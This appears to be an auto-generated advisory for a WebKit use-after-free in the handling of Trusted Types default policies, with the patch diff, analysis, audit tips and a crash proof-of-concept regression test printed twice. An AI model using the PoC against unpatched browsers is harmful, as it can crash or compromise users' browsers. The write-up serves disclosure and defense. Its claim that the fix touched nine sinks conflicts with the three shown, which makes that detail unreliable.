Released August 17, 2026

CVE-2026-64787

CVSS 6.5 severity medium CWE-416 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected process termination

Researchers: 杉山 壮太, Shubham Chaskar

Key insight. Trusted Types introduced a new synchronous JavaScript re-entrancy point (the default policy callback) at existing HTML sinks, but the callers still passed a bare, unprotected contextDocument() across it — the fix is to protect() the document at each sink so the long-standing ‘hold a raw Document across a call that can run script’ pattern is made safe.

Patch Details

diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
new file mode 100644
index 000000000000..fa64fd64ba1b
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
@@ -0,0 +1,3 @@
+This test passes if WebKit does not hit assertions or crash under ASAN
+
+PASS
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
new file mode 100644
index 000000000000..05a5d282b2ca
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
@@ -0,0 +1,44 @@
+<!DOCTYPE html>
+<html>
+<body>
+<script>
+if (window.testRunner && window.GCController) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+
+    targetElement = document.createElement('div');
+
+    let iframe = document.createElement('iframe');
+
+    iframe.srcdoc = `<!DOCTYPE html>
+    <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for \'script\'">
+    <body><script>document.body.appendChild(parent.targetElement); parent.innerTrustedTypes = trustedTypes;</` + 'script>';
+
+    iframe.onload = () => setTimeout(() => {
+        TrustedTypePolicyFactory.prototype.createPolicy.call(window.innerTrustedTypes, 'default', { createHTML: function () {
+            document.adoptNode(targetElement);
+            iframe.remove();
+            iframe = null;
+            GCController.collect();
+        } });
+        window.innerTrustedTypes = null;
+
+        GCController.collect();
+        try {
+            targetElement.innerHTML = 'x';
+        } catch (e) {
+            e.toString();
+        }
+
+        document.body.innerHTML = '<p>This test passes if WebKit does not hit assertions or crash under ASAN</p>PASS';
+
+        testRunner.notifyDone();
+    }, 0);
+
+    document.body.appendChild(iframe);
+} else
+    document.write('<p>This test requires testRunner and GCController</p>');
+
+</script>
+</body>
+</html>
\ No newline at end of file
diff --git a/Source/WebCore/dom/Document.cpp b/Source/WebCore/dom/Document.cpp
index 265e99637419..9ee254aa0d89 100644
--- a/Source/WebCore/dom/Document.cpp
+++ b/Source/WebCore/dom/Document.cpp
@@ -1229,7 +1229,7 @@ void Document::setMarkupUnsafe(const String& markup, OptionSet<ParserContentPoli
 
 ExceptionOr<Ref<Document>> Document::parseHTMLUnsafe(Document& context, Variant<Ref<TrustedHTML>, String>&& html)
 {
-    auto stringValueHolder = trustedTypeCompliantString(context.contextDocument(), WTF::move(html), "Document parseHTMLUnsafe"_s);
+    auto stringValueHolder = trustedTypeCompliantString(protect(context.contextDocument()), WTF::move(html), "Document parseHTMLUnsafe"_s);
     if (stringValueHolder.hasException())
         return stringValueHolder.releaseException();
 
@@ -4562,7 +4562,7 @@ ExceptionOr<void> Document::write(Document* entryDocument, FixedVector<Variant<R
     }
 
     String textString = text.toString();
-    auto stringValueHolder = trustedTypeCompliantString(TrustedType::TrustedHTML, contextDocument(), textString, lineFeed.isEmpty() ? "Document write"_s : "Document writeln"_s);
+    auto stringValueHolder = trustedTypeCompliantString(TrustedType::TrustedHTML, protect(contextDocument()), textString, lineFeed.isEmpty() ? "Document write"_s : "Document writeln"_s);
     if (stringValueHolder.hasException())
         return stringValueHolder.releaseException();
     SegmentedString trustedText(stringValueHolder.releaseReturnValue());
@@ -7853,7 +7853,7 @@ ExceptionOr<bool> Document::execCommand(const String& commandName, bool userInte
         [&commandName, this](const String& str) -> ExceptionOr<String> {
             if (commandName != "insertHTML"_s)
                 return String(str);
-            return trustedTypeCompliantString(TrustedType::TrustedHTML, contextDocument(), str, "Document execCommand"_s);
+            return trustedTypeCompliantString(TrustedType::TrustedHTML, protect(contextDocument()), str, "Document execCommand"_s);
         },
         [](const Ref<TrustedHTML>& trustedHtml) -> ExceptionOr<String> {
             return trustedHtml->toString();

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-64787
Bugzilla 313703
Component WebCore
Bug Class UAF
Severity medium
Commit cb83583e5f4d9553…
Advisory Apple Advisory

Terminology

  • Trusted Types — A CSP-driven mechanism (require-trusted-types-for ‘script’) that forces HTML/script sinks to go through a policy, invoking author JavaScript (createHTML) at the sink.
  • Default policy — A Trusted Types policy named ‘default’ whose createHTML callback runs synchronously whenever a guarded sink receives a plain string, giving attacker JS a foothold inside native code.
  • Re-entrancy — When native C++ calls back into JavaScript mid-operation; here the sink calls the default policy callback while still holding a bare Document pointer.
  • trustedTypeCompliantString — The WebCore helper that validates a string against Trusted Types; it may invoke the default policy (JS) and takes the context Document as a raw pointer.
  • contextDocument() — Returns the Document associated with the current context; a bare pointer whose lifetime is not guaranteed across a callback.
  • protect() — Wraps an object in a Ref/RefPtr so it is kept alive (ref-counted) across a scope — the fix wraps contextDocument() so it survives the Trusted Types callback.

Root Cause Analysis

This fixes a use-after-free of the context Document across a Trusted Types policy callback. Document::parseHTMLUnsafe(), Document::write()/writeln(), and Document::execCommand() call trustedTypeCompliantString(…, contextDocument(), …), which can invoke a web-author-provided Trusted Types default policy (createHTML) — arbitrary JavaScript. That callback can destroy the context document (the regression test removes the source iframe, adoptNode()s a node, nulls references, and forces GC inside createHTML). Before the fix these call sites passed the raw contextDocument() pointer, so if the callback freed that document the subsequent use dangled, causing the unexpected process termination. The invariant is that a document passed into a routine that can run script must be kept alive for the duration of the call. The fix wraps the argument in protect(contextDocument()) (a Ref/RefPtr protector) in all three call sites, keeping the context document alive across the Trusted Types callback. Fully established by the diff (the protect() helper’s definition is not shown but its protective intent is clear from usage).

Attack Path

1. Set up a Trusted Types default policy

The page (via an iframe with require-trusted-types-for ‘script’) installs a default policy whose createHTML callback runs attacker JavaScript.

2. Free the context document inside the callback

The createHTML callback removes the iframe, adopts nodes across documents, and forces GC so the context document is collected.

3. Invoke a Trusted-Types-guarded API

The page calls Document.write / execCommand(‘insertHTML’) / parseHTMLUnsafe, which passes the (now-freed) raw contextDocument() into trustedTypeCompliantString.

4. Use-after-free

After the callback frees the document, the caller dereferences the dangling contextDocument pointer, terminating the process.

Impact Assessment

The primitive is a use-after-free of the context Document, reached synchronously from Document.write/execCommand/parseHTMLUnsafe when the Trusted Types default policy callback frees the document. It is confined to the sandboxed WebContent process (advisory impact: unexpected process termination), so by itself it is a crash rather than a sandbox escape. Exploitability depends on whether the freed Document allocation can be reclaimed and type-confused before the dangling use (a reclaim-and-confuse UAF) versus only producing a controlled crash; the small, deterministic re-entrancy window and attacker control over the callback make targeted reclamation plausible, which is why it is treated as a memory-safety issue rather than a mere robustness bug.

Audit Directions

Other trustedTypeCompliantString callers

Grep every call to trustedTypeCompliantString(…) in WebCore and confirm each passes a protected document/argument. The fix touched nine sinks; any caller passing contextDocument()/context.contextDocument() or a bare Document* without protect(…) is a candidate variant.

Bare Document across any script-invoking callback

Look for native code that dereferences contextDocument()/document() after calling into anything that can run author JS (Trusted Types policies, custom elements reactions, MutationObserver, event dispatch, promise/microtask drains). The tell: a raw Document*/RefPtr captured before the callback and used after it without a Ref/Protector.

Objects reachable across detached-frame teardown

Audit sinks reachable from a srcdoc/iframe whose document can be adopted away or GC’d inside the callback (as in the PoC: adoptNode + iframe.remove() + GCController.collect()). Any sibling state derived from the document (frame, loader, script controller) may also dangle.

Make the discipline structural

Prefer converting call-site protect() discipline into API signatures that take Ref<Document>/protected references, so the compiler enforces liveness rather than relying on every caller remembering to protect().

Changed Functions

Function File Change Note
Document::parseHTMLUnsafe Source/WebCore/dom/Document.cpp modified Wraps context.contextDocument() in protect(…) when calling trustedTypeCompliantString so the document survives the Trusted Types callback.
Document::write Source/WebCore/dom/Document.cpp modified Passes protect(contextDocument()) to trustedTypeCompliantString for write/writeln.
Document::execCommand Source/WebCore/dom/Document.cpp modified Passes protect(contextDocument()) to trustedTypeCompliantString on the insertHTML path.

Files Changed

Source Files

  • Source/WebCore/dom/Document.cpp

Test Files

  • LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
  • LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
new file mode 100644
index 000000000000..fa64fd64ba1b
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
@@ -0,0 +1,3 @@
+This test passes if WebKit does not hit assertions or crash under ASAN
+
+PASS
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
new file mode 100644
index 000000000000..05a5d282b2ca
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
@@ -0,0 +1,44 @@
+<!DOCTYPE html>
+<html>
+<body>
+<script>
+if (window.testRunner && window.GCController) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+
+    targetElement = document.createElement('div');
+
+    let iframe = document.createElement('iframe');
+
+    iframe.srcdoc = `<!DOCTYPE html>
+    <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for \'script\'">
+    <body><script>document.body.appendChild(parent.targetElement); parent.innerTrustedTypes = trustedTypes;</` + 'script>';
+
+    iframe.onload = () => setTimeout(() => {
+        TrustedTypePolicyFactory.prototype.createPolicy.call(window.innerTrustedTypes, 'default', { createHTML: function () {
+            document.adoptNode(targetElement);
+            iframe.remove();
+            iframe = null;
+            GCController.collect();
+        } });
+        window.innerTrustedTypes = null;
+
+        GCController.collect();
+        try {
+            targetElement.innerHTML = 'x';
+        } catch (e) {
+            e.toString();
+        }
+
+        document.body.innerHTML = '<p>This test passes if WebKit does not hit assertions or crash under ASAN</p>PASS';
+
+        testRunner.notifyDone();
+    }, 0);
+
+    document.body.appendChild(iframe);
+} else
+    document.write('<p>This test requires testRunner and GCController</p>');
+
+</script>
+</body>
+</html>
\ No newline at end of file